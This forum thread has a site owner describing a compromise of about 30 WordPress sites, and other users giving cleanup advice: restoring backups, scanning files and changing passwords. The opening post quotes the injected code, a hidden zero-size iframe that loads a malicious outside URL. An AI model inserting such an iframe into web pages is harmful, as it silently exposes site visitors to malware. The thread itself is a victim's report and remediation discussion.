19 {{ upvoteCount | shortNum }}
19 {{ upvoteCount | shortNum }}

So I Got Hacked..

by halfpoint
15 replies
Earlier today I got an email from someone letting me know a buy button wasn't working. Upon looking into it I noticed that some other sites were down, too.

As I looked closer I found that every index.php and every index.html file had an iframe added into it that said this;

Code:
<iframe
 src="http://kazyment.com/error2/tr/out.php?s_id=2"
 style="display: none;" height="0" width="0"></iframe>
I simply removed that from one of the index.php files to see what would happen and when I did the site started working again.

However, I then logged into the admin panel of the blog and Google Chrome alerted me 3-4 times that there was malware hosted on the blog so I believe there are other files also infected.

Nothing has been deleted at all, there is just iframes with malware added, I think.

So, what I'm wondering is, what's the best way to move forward from here? Is there a way I can scan all of the website files and have malware detected and moved automatically or do I need to back up the databases and re-configure everything?

Hostgator will likely just let me pay them to do that, right?

Thanks for any insight you can offer.
#hacked
  • Profile picture of the author tpw
    If you have not made major changes to the site in the last few days, host gator can just do a restore to a backup, and hopefully the current backup will take the site back to before the hacker.

    They won't charge you if just doing a backup. But ask them to look on the backup for that iframe. They may charge for that, but I doubt it.
    Signature
    {{ DiscussionBoard.errors[3242157].message }}
    • Profile picture of the author halfpoint
      Originally Posted by tpw View Post

      If you have not made major changes to the site in the last few days, host gator can just do a restore to a backup, and hopefully the current backup will take the site back to before the hacker.

      They won't charge you if just doing a backup. But ask them to look on the backup for that iframe. They may charge for that, but I doubt it.
      Thanks..

      It's actually about 30 sites rather than just the one.

      Anyway, when I logged into the admin panels of any of the blogs I was getting malware detected messages and there was error messages up the top of the page.

      Once I then upgraded to the latest version of Wordpress all of those errors are now gone and when I visit the sites there are no problems at all where as before all I would get was error pages. Surely something as simple as that couldn't have wiped out all of the malware?

      I'm installing and activating a "maintenance mode" on all of the blogs at the moment just in case any of them start getting banned from Google for hosting malware.
      {{ DiscussionBoard.errors[3242350].message }}
      • Profile picture of the author Defunct
        You could ask Hostgator to back up all your domains and then scan them with antivirus, that's what i had to do when i got hacked.

        Also had to re-install cpanel though.

        Depends what exactly they hacked.
        {{ DiscussionBoard.errors[3242408].message }}
      • Profile picture of the author Krieger
        Originally Posted by Pat Jackson View Post

        Once I then upgraded to the latest version of Wordpress all of those errors are now gone and when I visit the sites there are no problems at all where as before all I would get was error pages. Surely something as simple as that couldn't have wiped out all of the malware?
        There were security holes in earlier versions of WP3 and a few weeks ago they urged everybody to update to 3.0.4 (current). They even sent an email to all registered users of their support site, which they normally never do. So it must've been pretty serious and it's possible that the update overwrites all potentially infected files.

        OTOH, unless you know for sure HOW the hackers (most likely just an automatic bot, rather than a human manually targeting your site) gained access, it's all speculation. I had a case where they somehow got into my FTP server, so check your FTP logs just to be sure. And change all your passwords (FTP, WP admin etc).
        {{ DiscussionBoard.errors[3242773].message }}
  • Profile picture of the author Shazia Mirza
    I am not quite experienced about this, but I think the tool VirusTotal at virustotal.com is something that might be able to help you out.

    Once again, this has not happened to me so I'm not sure how to help.
    Signature
    {{ DiscussionBoard.errors[3242537].message }}
    • Profile picture of the author Postal Dude
      Hi

      I had the same thing, the C**k S**kers should get a life....... anyway, here's how to get rid of it.

      The code is hidden in index.php (as you mentioned), it is also in the following places as well.

      wp-admin/menu.php
      wp-admin/index.php
      wp-admin/admin.php
      wp-content/index.php

      And that's probably on every wp blog that you have on the server, you may also find it in any index.php or index.htm / html file as well on non wordpress sites.

      When you have done that, do a virus scan and a malware/spyware scan. Then change your cpanel & ftp password(s).

      Hope that helps.
      {{ DiscussionBoard.errors[3242705].message }}
      • Profile picture of the author edlewis
        Originally Posted by Postal Dude View Post

        Hi

        I had the same thing, the C**k S**kers should get a life....... anyway, here's how to get rid of it.

        The code is hidden in index.php (as you mentioned), it is also in the following places as well.

        wp-admin/menu.php
        wp-admin/index.php
        wp-admin/admin.php
        wp-content/index.php

        And that's probably on every wp blog that you have on the server, you may also find it in any index.php or index.htm / html file as well on non wordpress sites.

        When you have done that, do a virus scan and a malware/spyware scan. Then change your cpanel & ftp password(s).

        Hope that helps.
        I had this too...wish I had seen this thread earlier.

        Trying to fix these blogs and this thread came in at the top of the Google searches.

        Gotta love the Warriorforum!

        This is good advice and saved me some time. With some of my detective skills, I was able to figure out that the iframe was in the index.php files of all my WordPress installs and every theme I had uploaded.

        Your info will make it easier to find all these iframes and delete them.

        Already changed passwords and virus scanned my PC.

        Thanks again!
        Signature
        {{ DiscussionBoard.errors[3303967].message }}
  • Profile picture of the author Abledragon
    Hi Pat,

    Sorry to hear of this.

    I agree with the comments above - Hostgator are really good and will help you all they can with this.

    I believe from what you've written that your sites are on WordPress - if so this may help to slow down those hackers in the future:

    WordPress Security: Not Just About WordPress | WealthyDragon

    All the best getting everything fixed up again,

    Cheers,

    Martin.
    Signature
    WealthyDragon - Earning My Living Online
    {{ DiscussionBoard.errors[3242693].message }}
  • Profile picture of the author Fraggler
    Pat, if your backup doesn't work the best way to go is download all of your sites and get friendly with Notepad+ and the Regex search and replace. You can also write some PHP scripts to do it for you but there is the risk of getting it wrong.

    You should find it is just index.php, index.html, main.php and some .js files. Sort by date modified when you download your sites to save time. Notepad+ lets you search files in a directory.

    Change all of your FTP passwords immediately. If it is Gumblar then your FTP details have been compromised.

    Google will remove the warning once you tell them your site is clean and they rescan it.

    These hacks aren't restricted to WordPress (any any CMS).
    Signature

    - Stop Wasting Time & Money on Traffic!
    - You Can't Improve What You Don't Measure
    - Why You Should Create Separate Desktop and Mobile Google Adwords Campaigns
    Connect with me on LinkedIn
    {{ DiscussionBoard.errors[3242822].message }}
  • Profile picture of the author webpromoterservice
    If not already, you should sign up with webmaster tools to monitor changes in your site and malware. It helped me when my site was dropped from google for hosting malware. I quickly removed it and contacted Google to reinclude my site in their rankings
    Signature
    Buy Antivirus| Antivirus Reviews|BitDefender Antivirus|Kaspersky Antivirus|Norton Antivirus
    {{ DiscussionBoard.errors[3257368].message }}
  • Profile picture of the author OnlineSeller
    Where are the hackers from ?
    {{ DiscussionBoard.errors[3257380].message }}
  • Profile picture of the author smartlazy
    Banned
    Last year all my websites in one web hosting account got hacked. Some evil guy inserted a malicious code into all the index.php and index.html pages of all my sites. It was a royal pain in the neck to edit all the infected files.

    Now I use SFTP and SSH to upload my files.
    {{ DiscussionBoard.errors[3257772].message }}

Trending Topics